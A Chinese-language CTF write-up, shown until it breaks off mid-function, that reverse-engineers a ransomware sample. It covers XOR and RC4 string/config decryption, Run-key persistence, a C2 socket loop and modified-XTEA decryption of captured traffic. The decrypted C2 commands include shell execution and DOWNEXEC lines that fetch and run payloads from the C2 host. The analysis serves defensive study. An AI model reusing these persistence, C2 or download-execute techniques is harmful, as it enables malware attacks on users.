分析勒索软件逆向题,通过分析样本程序和流量包,找到解密密钥,解密数据,最终获取flag。
AI 摘要

这个 CTF 只有一个逆向题,难度并不大。但吃完午饭后我胃炸了,难受,所以花了比预期更长的时间。

Ransomware Unchained (勒索软件脱缰)

一种神秘的勒索软件正在肆虐!它锁定文件,执行秘密命令,并与隐藏的 C2 服务器私语。你能分析这些痕迹,找到解密密钥,并在为时已晚之前拯救 flag 吗?

题目给了 一个sample.exe 和一个网络流量包 capture.pcapng。流量包暂时用不上,先看 sample.exe

DIE

MSVC 编译的,没有壳,拖到IDA: Snipaste_2025-04-01_03-44-38 加载后,我们看到了非常清晰的结构。该程序没有混淆,使得分析相对简单。

字符串解密函数

Snipaste_2025-04-01_03-46-19 Snipaste_2025-04-01_03-48-54

首先分析最外层。可以看到它创建了一个互斥锁,并检查错误代码是否为 ERROR_ALREADY_EXISTS(183)。 结合输出消息,我们可以推断这是一个检查,以确保只有一个进程实例正在运行。此外,v3 调用了一个未知函数,传递了一个看似加密的字符串作为第一个参数,所以需要知道 v3 是什么。 根据 CreateMutexW 函数原型,我们可以看到 v3 实际上是一个LPCWSTR

HANDLE CreateMutexW(
  [in, optional] LPSECURITY_ATTRIBUTES lpMutexAttributes,
  [in]           BOOL                  bInitialOwner,
  [in, optional] LPCWSTR               lpName
);

sub_1400013B0 函数: Snipaste_2025-04-01_03-53-26

它看起来非常混乱; 显然已经使用 SIMD 进行了优化。让我们逐步分析:

  v2 = -1i64;
  v3 = a1;
  do
    ++v2;
  while ( a1[v2] );

这计算了 a1 的长度,并将 a1 赋值给 v3。它实际上是一个标准的 strlen 实现。

  v4 = (unsigned int)(2 * v2 + 2);
  if ( (unsigned int)(2 * v2) >= 0xFFFFFFFE )
    v4 = -1i64;
  v5 = (__m128i *)malloc(v4);
  memset(v5, 0, 2 * (int)v2 + 2);
  v6 = 0;
  v7 = v5;

这部分根据计算的长度分配了一个输出缓冲区 v5。缓冲区大小是输入的两倍,全部填充为 0v7 作其别名。

  if ( (int)v2 > 0 )
  {
    if ( (unsigned int)v2 < 0x20 )
      goto LABEL_12;
    v8 = (int)v2 - 1;
    if ( v5 <= (__m128i *)&v3[v8] && (char *)v5 + 2 * v8 >= v3 )
      goto LABEL_12;
    v9 = _mm_load_si128((const __m128i *)&xmmword_140005670);
    do
    {
      v10 = _mm_move_epi64(si128);
      v11 = _mm_xor_si128(_mm_loadl_epi64((const __m128i *)v3), v10);
      v6 += 32;
      *v7 = _mm_and_si128(_mm_srai_epi16(_mm_unpacklo_epi8(v11, v11), 8u), v9);
      v12 = _mm_xor_si128(_mm_loadl_epi64((const __m128i *)(v3 + 8)), v10);
      v7[1] = _mm_and_si128(_mm_srai_epi16(_mm_unpacklo_epi8(v12, v12), 8u), v9);
      v13 = _mm_xor_si128(_mm_loadl_epi64((const __m128i *)v3 + 1), v10);
      v7[2] = _mm_and_si128(_mm_srai_epi16(_mm_unpacklo_epi8(v13, v13), 8u), v9);
      v14 = _mm_loadl_epi64((const __m128i *)(v3 + 24));
      v3 += 32;
      v15 = _mm_xor_si128(v14, v10);
      v7[3] = _mm_and_si128(_mm_srai_epi16(_mm_unpacklo_epi8(v15, v15), 8u), v9);
      v7 += 4;
    }
    while ( v6 < (int)(v2 - (v2 & 0x1F)) );
    if ( v6 < (int)v2 )
    {
LABEL_12:
      v16 = (unsigned int)(v2 - v6);
      do
      {
        v7 = (__m128i *)((char *)v7 + 2);
        v17 = *v3++ ^ 0x2F;
        v7[-1].m128i_i16[7] = v17;
        --v16;
      }
      while ( v16 );
    }
  }

这里的逻辑要关注这部分:

if ( (int)v2 > 0 )
...
v6 += 32;
...
if ( v6 < (int)v2 )

首先,这部分检查 v2 (字符串长度) 是否为 0。如果不是,则处理该字符串。 v6 是已处理的输入字节数,v3 是指向输入字节的指针。可以看到,每个 SIMD 循环处理 32 个字节,而剩余部分则进入非 SIMD 循环来处理剩余字节。 核心逻辑:

v16 = (unsigned int)(v2 - v6);
do
{
  v7 = (__m128i *)((char *)v7 + 2);
  v17 = *v3++ ^ 0x2F;
  v7[-1].m128i_i16[7] = v17;
  --v16;
}
while (v16);

这个循环处理剩余的字节。

v7 = (__m128i *)((char *)v7 + 2);
v17 = *v3++ ^ 0x2F;

看起来它遍历 v3 (即输入 a1) 的剩余字符,将它们与 0x2F 进行异或,并将输出指针前进两个字节(这实际上是将 ASCII 转换为宽字符)。 这显然是一个字符串解码函数。我们可以使用以下等效的 Python 函数来实现它:

def decode_str(encoded_string):
    decoded_chars = []
    for char in encoded_string:
        decoded_char_code = ord(char) ^ 0x2F
        decoded_chars.append(chr(decoded_char_code))
    return "".join(decoded_chars)

尝试解码初始字符串:

def main():
    encoded_str = 'lgj}avvdg`k'
    decoded_str = decode_str(encoded_str)
    print(decoded_str)
main()
> python .\decode.py
CHERNYYKHOD

解码成功,虽然似乎这个字符串用于互斥锁,对这题的意义不大。

主逻辑分析

在分析了字符串解密函数之后,让我们看一下主逻辑:

      ModuleHandleW = GetModuleHandleW(0i64);
      v5 = GetModuleHandleW(0i64);
      ResourceA = FindResourceA(v5, "DATA", "CONFIG");
      v7 = ResourceA;
      if ( ResourceA
        && (v8 = SizeofResource(ModuleHandleW, ResourceA), (Resource = LoadResource(ModuleHandleW, v7)) != 0i64)
        && (v10 = LockResource(Resource)) != 0i64
        && v8 >= 0x42 )
      {
        v11 = malloc(v8);
        memset(v11, 0, v8);
        memcpy(v11, v10, v8);
        sub_140001750(v11, v8);
        cp = (char *)v11;
        v12 = (const BYTE *)sub_140001530();
        if ( v12 )
        {
          *(_QWORD *)&hKey.sa_family = 0i64;
          if ( !RegOpenKeyExW(
                  HKEY_CURRENT_USER,
                  L"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
                  0,
                  0xF003Fu,
                  (PHKEY)&hKey) )
          {
            if ( *(_QWORD *)&hKey.sa_family )
            {
              cbData = 0;
              Type[0] = 1;
              if ( RegQueryValueExW(*(HKEY *)&hKey.sa_family, L"Cherny", 0i64, (LPDWORD)Type, 0i64, &cbData) == 2 )
              {
                v13 = -1i64;
                while ( *(_WORD *)&v12[2 * v13++ + 2] != 0 )
                  ;
                RegSetValueExW(*(HKEY *)&hKey.sa_family, L"Cherny", 0, 1u, v12, 2 * v13 + 2);
              }
              CloseHandle(*(HANDLE *)&hKey.sa_family);
            }
          }
        }
        *(_QWORD *)&hKey.sa_data[6] = 0i64;
        *(_OWORD *)&hReadPipe = 0i64;
        *(_OWORD *)&hObject = 0i64;
        *(_OWORD *)&hThread = 0i64;
        xmmword_140008730 = 0i64;
        if ( WSAStartup(0x202u, &WSAData) )
          return 0;
        hKey.sa_family = 2;
        *(_WORD *)hKey.sa_data = htons(*((_WORD *)cp + 32));
        *(_DWORD *)&hKey.sa_data[2] = inet_addr(cp);
        v15 = socket(2, 1, 6);
        while ( connect(v15, &hKey, 16) == -1 )
          ;
        *((_QWORD *)&xmmword_140008730 + 1) = v15;
        v16 = malloc(0x400ui64);
        memset(v16, 0, 0x400ui64);
        while ( recv(*((SOCKET *)&xmmword_140008730 + 1), (char *)v16, 1024, 0) )
        {
          sub_1400020C0((LPCSTR)v16);
          memset(v16, 0, 0x400ui64);
        }
        v17 = "Socket closed gracefully.";

逐段分析:

      ModuleHandleW = GetModuleHandleW(0i64);
      v5 = GetModuleHandleW(0i64);
      ResourceA = FindResourceA(v5, "DATA", "CONFIG");
      v7 = ResourceA;
      if ( ResourceA
        && (v8 = SizeofResource(ModuleHandleW, ResourceA), (Resource = LoadResource(ModuleHandleW, v7)) != 0i64)
        && (v10 = LockResource(Resource)) != 0i64
        && v8 >= 0x42 )
      {
        v11 = malloc(v8);
        memset(v11, 0, v8);
        memcpy(v11, v10, v8);
        sub_140001750(v11, v8);
        cp = (char *)v11;

通过查阅相关的 API 文档和函数原型,我们知道这段代码从 PE 文件资源中的 DATA 节读取 CONFIG 数据,将其存储在 v10 中,将数据长度存储在 v8 中,并验证其大小是否至少为 0x42。 然后,它分配一个该大小的新缓冲区 v11,并将数据从 v10 复制到 v11 中。 随后,它调用一个未知函数 sub_140001750,传递 v11v8,然后将 v11 赋值给 cp

*(_DWORD *)&hKey.sa_data[2] = inet_addr(cp);

从这部分,我们可以看到 cp 实际上被用作套接字连接的目标地址,

下断点后动调即可, IP 地址:192.168.138.67

image-20250407192839677

当然也可以去慢慢分析,首先提取它: Snipaste_2025-04-01_13-20-27 CONFIG 被加密了,根据上面的调用, v11 被传递给 sub_140001750 进行一些处理。 Snipaste_2025-04-01_13-22-20

它看起来有点混乱,分开来看:

  v5 = decodeStr(aXgNakxgjJfBvbn);
  cbMultiByte = WideCharToMultiByte(0xFDE9u, 0, (LPCWCH)v5, -1, 0i64, 0, 0i64, 0i64);
  lpMultiByteStr = (char *)malloc(cbMultiByte);
  memset(lpMultiByteStr, 0, cbMultiByte);
  v8 = -1i64;
  do
    ++v8;
  while ( v5->m128i_i16[v8] );
  WideCharToMultiByte(0xFDE9u, 0, (LPCWCH)v5, v8, lpMultiByteStr, cbMultiByte, 0i64, 0i64);

第一部分解码了一个特定的字符串,并将其转换为标准的多字节字符串,存储在 lpMultiByteStr 中。

  v9 = 256i64;
  v10 = (char *)operator new(0x100ui64);
  memset(v10 + 1, 0, 0xFFui64);
  v11 = 0;
  v12 = 0;
  v13 = v10;
  do
    *v13++ = v12++;
  while ( v12 < 256 );

然后它分配 0x100 字节的内存,并用 [0, 256] 填充它。这实际上是 SBox 的初始化。

  do
  {
    v16 = *v14;
    v17 = -1i64;
    do
      ++v17;
    while ( lpMultiByteStr[v17] );
    v11 = (v16 + lpMultiByteStr[v15 % v17] + v11) % 256;
    ++v15;
    result = (unsigned __int8)v10[v11];
    *v14++ = result;
    v10[v11] = v16;
    --v9;
  }
  while ( v9 );
  v19 = 0;
  if ( a2 > 0 )
  {
    do
    {
      v4 = (v4 + 1) % 256;
      v20 = (unsigned __int8)v10[v4];
      v19 = (v20 + v19) % 256;
      v10[v4] = v10[v19];
      v10[v19] = v20;
      result = (unsigned __int8)(v20 + v10[v4]);
      *a1++ ^= v10[result];
    }
    while ( v4 < a2 );
  }

这部分显然是个 RC4 加密,使用 lpMultiByteStr 作为密钥 先解密密钥:

def main():
    encoded_str = 'xg`nakxgj}jf|bvbn|{j}'
    decoded_str = decode_str(encoded_str)
    print(decoded_str)
> python .\decode.py
WHOANDWHEREISMYMASTER

然后,解密 cp 数据:

def rc4_decrypt(cp_data_enc, key_str="WHOANDWHEREISMYMASTER"):
    key = key_str.encode('utf-8')  # 将密钥字符串转换为字节
    s_box = list(range(256))
    j = 0
    key_len = len(key)
    # KSA (密钥调度算法)
    for i in range(256):
        j = (j + s_box[i] + key[i % key_len]) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # PRGA (伪随机生成算法)
    i = 0
    j = 0
    cp_data_dec = bytearray()
    for char_enc in cp_data_enc:
        i = (i + 1) % 256
        j = (j + s_box[i]) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
        k = s_box[(s_box[i] + s_box[j]) % 256]
        char_dec = char_enc ^ k
        cp_data_dec.append(char_dec)
    return bytes(cp_data_dec)
    
def main():
    with open('./cp.bin', 'rb') as f:
        cp_data_encrypted = f.read()
    decrypted_cp = rc4_decrypt(cp_data_encrypted)
    print(decrypted_cp.decode('utf-8', errors='ignore'))
> python .\decode.py
192.168.138.67P

ok,现在获得了目标 IP 地址:192.168.138.67

继续分析以下部分:

        v12 = (const BYTE *)sub_140001530();
        if ( v12 )
        {
          *(_QWORD *)&hKey.sa_family = 0i64;
          if ( !RegOpenKeyExW(
                  HKEY_CURRENT_USER,
                  L"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
                  0,
                  0xF003Fu,
                  (PHKEY)&hKey) )
          {
            if ( *(_QWORD *)&hKey.sa_family )
            {
              cbData = 0;
              Type[0] = 1;
              if ( RegQueryValueExW(*(HKEY *)&hKey.sa_family, L"Cherny", 0i64, (LPDWORD)Type, 0i64, &cbData) == 2 )
              {
                v13 = -1i64;
                while ( *(_WORD *)&v12[2 * v13++ + 2] != 0 )
                  ;
                RegSetValueExW(*(HKEY *)&hKey.sa_family, L"Cherny", 0, 1u, v12, 2 * v13 + 2);
              }
              CloseHandle(*(HANDLE *)&hKey.sa_family);
            }
          }
        }

可以看到从 sub_140001530 获取一个字节数组 v12。 然后,它将其分配给 HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 下名为 Cherny 的值。

#define REG_NONE                    ( 0ul ) // No value type
#define REG_SZ                      ( 1ul ) // Unicode nul terminated string
#define REG_EXPAND_SZ               ( 2ul ) // Unicode nul terminated string
                                            // (with environment variable references)
#define REG_BINARY                  ( 3ul ) // Free form binary
#define REG_DWORD                   ( 4ul ) // 32-bit number
#define REG_DWORD_LITTLE_ENDIAN     ( 4ul ) // 32-bit number (same as REG_DWORD)
#define REG_DWORD_BIG_ENDIAN        ( 5ul ) // 32-bit number
#define REG_LINK                    ( 6ul ) // Symbolic Link (unicode)
#define REG_MULTI_SZ                ( 7ul ) // Multiple Unicode strings
#define REG_RESOURCE_LIST           ( 8ul ) // Resource list in the resource map
#define REG_FULL_RESOURCE_DESCRIPTOR ( 9ul ) // Resource list in the hardware description
#define REG_RESOURCE_REQUIREMENTS_LIST ( 10ul )
#define REG_QWORD                   ( 11ul ) // 64-bit number
#define REG_QWORD_LITTLE_ENDIAN     ( 11ul ) // 64-bit number (same as REG_QWORD)

根据 winnt.h 中的定义,我们知道该字节数组的类型实际上是 REG_SZ,它是一个字符串。 并且 HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 是用于启动时运行的程序的注册表项。 让我们深入了解此函数:

char *sub_140001530()
{
  char *v0; // rbp
  DWORD CurrentDirectoryW; // r13d
  __int64 v2; // rsi
  size_t v3; // r15
  size_t v4; // rcx
  char *v5; // r12
  HANDLE FirstFileW; // r14
  bool v7; // zf
  const WCHAR *ExtensionW; // rax
  __int64 v9; // rbx
  struct _WIN32_FIND_DATAW FindFileData; // [rsp+20h] [rbp-288h] BYREF
  memset(&FindFileData, 0, sizeof(FindFileData));
  v0 = 0i64;
  CurrentDirectoryW = GetCurrentDirectoryW(0, 0i64);
  v2 = -1i64;
  v3 = 2i64 * CurrentDirectoryW;
  v4 = v3 + 4;
  if ( v3 >= 0xFFFFFFFFFFFFFFFCui64 )
    v4 = -1i64;
  v5 = (char *)malloc(v4);
  memset(v5, 0, v3 + 4);
  GetCurrentDirectoryW(2 * CurrentDirectoryW, (LPWSTR)v5);
  *(_DWORD *)&v5[2 * CurrentDirectoryW - 2] = 2752604;
  FirstFileW = FindFirstFileW((LPCWSTR)v5, &FindFileData);
  if ( FirstFileW != (HANDLE)-1i64 )
  {
    if ( PathFindExtensionW(FindFileData.cFileName) == L".exe" )
    {
      do
        v7 = FindFileData.cAlternateFileName[v2++ - 259] == 0;
      while ( !v7 );
      v0 = (char *)malloc(2 * ((unsigned int)v2 + CurrentDirectoryW) + 2);
      memset(v0, 0, 2 * ((unsigned int)v2 + CurrentDirectoryW) + 2);
      memcpy(v0, v5, v3);
      memcpy(&v0[v3], FindFileData.cFileName, 2 * v2);
    }
    else
    {
      while ( FindNextFileW(FirstFileW, &FindFileData) )
      {
        ExtensionW = PathFindExtensionW(FindFileData.cFileName);
        if ( !lstrcmpiW(ExtensionW, L".exe") )
        {
          v9 = -1i64;
          do
            v7 = FindFileData.cAlternateFileName[v9++ - 259] == 0;
          while ( !v7 );
          v0 = (char *)malloc(2 * ((unsigned int)v9 + CurrentDirectoryW) + 2);
          memset(v0, 0, 2 * ((unsigned int)v9 + CurrentDirectoryW) + 2);
          memcpy(v0, v5, v3);
          memcpy(&v0[v3], FindFileData.cFileName, 2 * v9);
        }
      }
    }
  }
  FindClose(FirstFileW);
  return v0;
}

粗略地看了一下,可以分析出它实际上获得了当前程序目录的位置。所以这部分的功能是将当前程序设置为在启动时自动运行。 但是,这对于分析这道题并没有太大用处,所以可以忽略它,继续下一部分:

*(_OWORD *)&hReadPipe = 0i64;
*(_OWORD *)&hObject = 0i64;
*(_OWORD *)&hThread = 0i64;
xmmword_140008730 = 0i64;
if ( WSAStartup(0x202u, &WSAData) )
  return 0;
hKey.sa_family = 2;
*(_WORD *)hKey.sa_data = htons(*((_WORD *)cp + 32));
*(_DWORD *)&hKey.sa_data[2] = inet_addr(cp);
v15 = socket(2, 1, 6);
while ( connect(v15, &hKey, 16) == -1 )
  ;
*((_QWORD *)&xmmword_140008730 + 1) = v15;
v16 = malloc(0x400ui64);
memset(v16, 0, 0x400ui64);
while ( recv(*((SOCKET *)&xmmword_140008730 + 1), (char *)v16, 1024, 0) )
{
  sub_1400020C0((LPCSTR)v16);
  memset(v16, 0, 0x400ui64);
}

这部分是套接字通信接收部分的核心。关注这部分:

while ( recv(*((SOCKET *)&xmmword_140008730 + 1), (char *)v16, 1024, 0) )
{
  sub_1400020C0((LPCSTR)v16);
  memset(v16, 0, 0x400ui64);
}

可以看到,在接收到数据后,使用sub_1400020C0 处理了这些数据,所以程序的核心逻辑很可能在这里面。

接收函数分析

首先分析接收函数的第一部分:

  v1 = -1i64;
  v3 = -1i64;
  do
    v4 = pszString[++v3] == 0;
  while ( !v4 );
  if ( pszString[v3 - 1] == 10 )
  {
    v5 = -1i64;
    do
      v4 = pszString[++v5] == 0;
    while ( !v4 );
    pszString[v5 - 1] = 0;
  }
  v6 = -1i64;
  pcbBinary = 0;
  do
    ++v6;
  while ( pszString[v6] );
  CryptStringToBinaryA(pszString, v6, 1u, 0i64, &pcbBinary, 0i64, 0i64);
  v7 = pcbBinary + 1;
  if ( pcbBinary == -1 )
    v7 = -1i64;
  v8 = (char *)malloc(v7);
  memset(v8, 0, pcbBinary + 1);
  v9 = -1i64;
  do
    ++v9;
  while ( pszString[v9] );
  CryptStringToBinaryA(pszString, v9, 1u, (BYTE *)v8, &pcbBinary, 0i64, 0i64);
  Context = 0i64;
  v10 = 0i64;
  Delimiter[0] = '|';
  v11 = 0i64;
  if ( *v8 == 'D' )
  {
    v10 = strtok_s(v8 + 1, Delimiter, &Context);
    if ( v10 )
      v11 = strtok_s(0i64, Delimiter, &Context);
  }
  if ( *v8 == 'E' )
  {
    v12 = (char *)sub_1400019F0((__int64)(v8 + 1), pcbBinary - 1);
    v10 = strtok_s(v12, Delimiter, &Context);
    if ( v10 )
      v11 = strtok_s(0i64, Delimiter, &Context);
  }

这部分的逻辑相对简单。首先,根据 CryptStringToBinaryA 参数,我们知道 CRYPT_STRING_BASE64 = 0x00000001。第一个调用计算解码缓冲区的大小,第二个调用将其解码为 v8。 然后,它检查解码后的第一个字符是否为 'D''E'。如果它是 'E',它还会调用 sub_1400019F0 来处理 v8。最后,它使用带有分隔符 '|'strtok_s 将第一个和第二个子字符串分别存储到 v10v11 中。 sub_1400019F0Snipaste_2025-04-01_18-04-29

这显然是一个魔改的 XTEA 解密函数。qword_1400086F0 是它的密钥。 分析剩余部分:

  v13 = 0;
  v14 = -1i64;
  do
    ++v14;
  while ( v10[v14] );
  if ( (int)v14 <= 0 )
    goto LABEL_82;
  v15 = (unsigned int)v14;
  do
  {
    v16 = *v10++;
    v13 = v16 + __ROR4__(v13, 13);
    --v15;
  }
  while ( v15 );

这部分根据拆分后的第一个元素计算 v13。 随后的 switch ( v13 ) 然后根据 v13 切换条件。 现在需要知道 XTEA 密钥是什么。看交叉引用,找到以下内容:

case 0xD49A66B:
  qword_1400086F0 = (__int64)v11;
  return;

显然,XTEA 密钥是根据对应于 0xD49A66B 的命令分支分配的。因此,我们需要在 pcapng 中找到相应的包。 通过找到第一个 payload,我们看到:

REtFWUVYQ0h8RU5DUllQVFRSQUZGSUswNw==

解码得到:

DKEYEXCH|ENCRYPTTRAFFIK07

拆分后,我们知道密钥是 ENCRYPTTRAFFIK07。 稍微修改反编译结果:

char XTEA_KEY[16] = "ENCRYPTTRAFFIK07";
char *decrypt_XTEA_data(char *data, unsigned int size)
{
    int v4;           // ecx
    int v5;           // eax
    int v6;           // ecx
    int v7;           // eax
    char *v8;         // r15
    uint8_t *v9;      // rcx
    int64_t v10;      // rsi
    uint32_t *v11;    // rdi
    unsigned int v12; // ebx
    uint64_t v13;     // r9
    int64_t v14;      // r14
    unsigned int v15; // r10d
    unsigned int v16; // r11d
    unsigned int v17; // eax
    unsigned int v18; // ebx
    unsigned int v19; // r11d
    unsigned int v20; // r10d
    int v21;          // edx
    unsigned int v22; // r11d
    unsigned int v23; // r10d
    int v24;          // edx
    unsigned int v25; // r11d
    unsigned int v26; // r10d
    unsigned int v27; // eax
    unsigned int v28; // r11d
    unsigned int v29; // r10d
    int v30;          // edx
    unsigned int v31; // r11d
    unsigned int v32; // r10d
    int v33;          // edx
    unsigned int v34; // r11d
    unsigned int v35; // r10d
    unsigned int v36; // eax
    unsigned int v37; // r11d
    unsigned int v38; // r10d
    int v39;          // edx
    unsigned int v40; // r11d
    unsigned int v41; // r10d
    int v42;          // edx
    unsigned int v43; // r11d
    unsigned int v44; // r10d
    unsigned int v45; // eax
    unsigned int v46; // r11d
    unsigned int v47; // r10d
    int v48;          // edx
    unsigned int v49; // r11d
    unsigned int v50; // r10d
    int v51;          // edx
    unsigned int v52; // r11d
    unsigned int v53; // r10d
    unsigned int v54; // r11d
    unsigned int v55; // r10d
    int v56;          // edx
    unsigned int v57; // r11d
    unsigned int v58; // r10d
    int v59;          // edx
    unsigned int v60; // r11d
    unsigned int v61; // r10d
    int v63[4];       // [rsp+20h] [rbp-10h]
    v4 = *(char *)(XTEA_KEY + 5) | (*(char *)(XTEA_KEY + 4) << 8);
    v63[0] = *(char *)(XTEA_KEY + 3) | ((*(char *)(XTEA_KEY + 2) | ((*(char *)(XTEA_KEY + 1) | (*(char *)XTEA_KEY << 8)) << 8)) << 8);
    v5 = *(char *)(XTEA_KEY + 9);
    v63[1] = *(char *)(XTEA_KEY + 7) | ((*(char *)(XTEA_KEY + 6) | (v4 << 8)) << 8);
    v6 = *(char *)(XTEA_KEY + 11) | ((*(char *)(XTEA_KEY + 10) | ((v5 | (*(char *)(XTEA_KEY + 8) << 8)) << 8)) << 8);
    v7 = *(char *)(XTEA_KEY + 13);
    v63[2] = v6;
    v63[3] = *(char *)(XTEA_KEY + 15) | ((*(char *)(XTEA_KEY + 14) | ((v7 | (*(char *)(XTEA_KEY + 12) << 8)) << 8)) << 8);
    v8 = (char *)malloc(size);
    memset(v8, 0, size);
    if (size)
    {
        v9 = (uint8_t *)data + 2;
        v10 = ((size - 1) >> 3) + 1;
        v11 = (uint32_t *)v8;
        do
        {
            v12 = 0xC6EF3720;
            v13 = 0xC6EF3720;
            v14 = 2;
            v15 = v9[1] | ((*v9 | ((*(v9 - 1) | (*(v9 - 2) << 8)) << 8)) << 8);
            v16 = v9[5] | ((v9[4] | ((v9[3] | (v9[2] << 8)) << 8)) << 8);
            do
            {
                v17 = v12 + v63[(v13 >> 11) & 3];
                v18 = v12 + 0x61C88647;
                v19 = v16 - (v17 ^ (v15 + ((16 * v15) ^ (v15 >> 5))));
                v20 = v15 - ((v18 + v63[v18 & 3]) ^ (v19 + ((16 * v19) ^ (v19 >> 5))));
                v21 = (v18 + v63[(v18 >> 11) & 3]) ^ (v20 + ((16 * v20) ^ (v20 >> 5))));
                v18 += 0x61C88647;
                v22 = v19 - v21;
                v23 = v20 - ((v18 + v63[v18 & 3]) ^ (v22 + ((16 * v22) ^ (v22 >> 5))));
                v24 = (v18 + v63[(v18 >> 11) & 3]) ^ (v23 + ((16 * v23) ^ (v23 >> 5))));
                v18 += 0x61C88647;
                v25 = v22 - v24;
                v26 = v23 - ((v18 + v63[v18 & 3]) ^ (v25 + ((16 * v25) ^ (v25 >> 5))));
                v27 = v18 + v63[(v18 >> 11) & 3];
                v18 += 0x61C88647;
                v28 = v25 - (v27 ^ (v26 + ((16 * v26) ^ (v26 >> 5))));
                v29 = v26 - ((v18 + v63[v18 & 3]) ^ (v28 + ((16 * v28) ^ (v28 >> 5))));
                v30 = (v18 + v63[(v18 >> 11) & 3]) ^ (v29 + ((16 * v29) ^ (v29 >> 5))));
                v18 += 0x61C88647;
                v31 = v28 - v30;
                v32 = v29 - ((v18 + v63[v18 & 3]) ^ (v31 + ((16 * v31) ^ (v31 >> 5))));
                v33 = (v18 + v63[(v18 >> 11) & 3]) ^ (v32 + ((16 * v32) ^ (v32 >> 5))));
                v18 += 0x61C88647;
                v34 = v31 - v33;
                v35 = v32 - ((v18 + v63[v18 & 3]) ^ (v34 + ((16 * v34) ^ (v34 >> 5))));
                v36 = v18 + v63[(v18 >> 11) & 3];
                v18 += 0x61C88647;
                v37 = v34 - (v36 ^ (v35 + ((16 * v35) ^ (v35 >> 5))));
                v38 = v35 - ((v18 + v63[v18 & 3]) ^ (v37 + ((16 * v37) ^ (v37 >> 5))));
                v39 = (v18 + v63[(v18 >> 11) & 3]) ^ (v38 + ((16 * v38) ^ (v38 >> 5))));
                v18 += 0x61C88647;
                v40 = v37 - v39;
                v41 = v38 - ((v18 + v63[v18 & 3]) ^ (v40 + ((16 * v40) ^ (v40 >> 5))));
                v42 = (v18 + v63[(v18 >> 11) & 3]) ^ (v41 + ((16 * v41) ^ (v41 >> 5))));
                v18 += 0x61C88647;
                v43 = v40 - v42;
                v44 = v41 - ((v18 + v63[v18 & 3]) ^ (v43 + ((16 * v43) ^ (v43 >> 5))));
                v45 = v18 + v63[(v18 >> 11) & 3];
                v18 += 0x61C88647;
                v46 = v43 - (v45 ^ (v44 + ((16 * v44) ^ (v44 >> 5))));
                v47 = v44 - ((v18 + v63[v18 & 3]) ^ (v46 + ((16 * v46) ^ (v46 >> 5))));
                v48 = (v18 + v63[(v18 >> 11) & 3]) ^ (v47 + ((16 * v47) ^ (v47 >> 5))));
                v18 += 0x61C88647;
                v49 = v46 - v48;
                v50 = v47 - ((v18 + v63[v18 & 3]) ^ (v49 + ((16 * v49) ^ (v49 >> 5))));
                v51 = (v18 + v63[(v18 >> 11) & 3]) ^ (v50 + ((16 * v50) ^ (v50 >> 5))));
                v18 += 0x61C88647;
                v52 = v49 - v51;
                v53 = v50 - ((v18 + v63[v18 & 3]) ^ (v52 + ((16 * v52) ^ (v52 >> 5))));
                v54 = v52 - ((v18 + v63[(v18 >> 11) & 3]) ^ (v53 + ((16 * v53) ^ (v53 >> 5))));
                v18 += 0x61C88647;
                v55 = v53 - ((v18 + v63[v18 & 3]) ^ (v54 + ((16 * v54) ^ (v54 >> 5))));
                v56 = (v18 + v63[(v18 >> 11) & 3]) ^ (v55 + ((16 * v55) ^ (v55 >> 5))));
                v18 += 0x61C88647;
                v57 = v54 - v56;
                v58 = v55 - ((v18 + v63[v18 & 3]) ^ (v57 + ((16 * v57) ^ (v57 >> 5))));
                v59 = (v18 + v63[(v18 >> 11) & 3]) ^ (v58 + ((16 * v58) ^ (v58 >> 5))));
                v18 += 0x61C88647;
                v60 = v57 - v59;
                v61 = v58 - ((v18 + v63[v18 & 3]) ^ (v60 + ((16 * v60) ^ (v60 >> 5))));
                v16 = v60 - ((v18 + v63[(v18 >> 11) & 3]) ^ (v61 + ((16 * v61) ^ (v61 >> 5))));
                v12 = v18 + 0x61C88647;
                v13 = v12;
                v15 = v61 - ((v12 + v63[v12 & 3]) ^ (v16 + ((16 * v16) ^ (v16 >> 5))));
                --v14;
            } while (v14);
            *v11 = _byteswap_ulong(v15);
            v9 += 8;
            v11[1] = _byteswap_ulong(v16);
            v11 += 2;
            --v10;
        } while (v10);
    }
    return v8;
}

提取所有的编码内容,解密

int main(void) {
    const char *base64_strings[] = {
        "RS1J1SxUJcq0y6CmpvlFHTUxUub0NrsRb96TEwoWI5GFR0RM/jkk9ZA",
        "RXUBvuF7XzYu3La0O/fiqLx3nHSXTn7Ghw==",
        "RT6v61YF2uq+B5OOcTNe7h8=RT6v61YF2uq+B5OOcTNe7h8=",
        "RSPPpIhlKGAsCmnkR3kD+uD5g30DH199VGWitl4BFgiF7LhZMn4GWFBrg40R9ty2p1pAStWd399I=",
        "RSPPpIhlKGAsCmnkR3kD+uD5g30DH199VGWitl4BFgiF7LhZMn4GWFDRIh1agXJSpaR7Fxcm+fFl"
    };
    int num_strings = sizeof(base64_strings) / sizeof(base64_strings[0]);

    for (int i = 0; i < num_strings; i++) {
        size_t decoded_len;
        unsigned char *base64_decoded = base64_decode(base64_strings[i], &decoded_len);
        if (decoded_len <= 1) {
            printf("Decrypted:%s\n", base64_decoded);
        } else {
            size_t remaining_len = decoded_len - 1;
            char *remaining_data = malloc(remaining_len);
            memcpy(remaining_data, base64_decoded + 1, remaining_len);
            char *decrypted_remaining = decrypt_XTEA_data(remaining_data, remaining_len);
            char *final_result = malloc(decoded_len + 1);
            final_result[0] = ' ';
            memcpy(final_result + 1, decrypted_remaining, remaining_len);
            final_result[decoded_len] = '\0';
            printf("%s\n", final_result);
            free(remaining_data);
            free(decrypted_remaining);
            free(final_result);
        }
        free(base64_decoded);
    }
    return 0;
}

得到:

CMDSHEL|C:\windows\system32\cmd.exe
EXECCMD|cd %temp%
EXITSHEL
DOWNEXEC|http://192.168.138.67:8080/data.png|DEKRYPT|0
DOWNEXEC|http://192.168.138.67:8080/data.txt|DEKRYPT|1

然后可以在流量包里找到并导出 data.pngdata.txt。 通过 MZ 标头,可以知道 data.txt 实际上是一个 PE 文件。 同时,编写一个函数,将命令名称转换为相应的 DWORD:

def rol(value, count, bits=32):
    """
    模拟给定位数的 __ROL__ (向左旋转) 函数。
    Args:
        value: 要旋转的整数值。
        count: 要向左旋转的位数(正数)。
               要向右旋转,请使用负数。
        bits: 值中的位数(默认 32,如 uint32)。
    Returns:
        向左旋转的整数值。
    """
    count %= bits  # 规范化计数
    if count > 0:
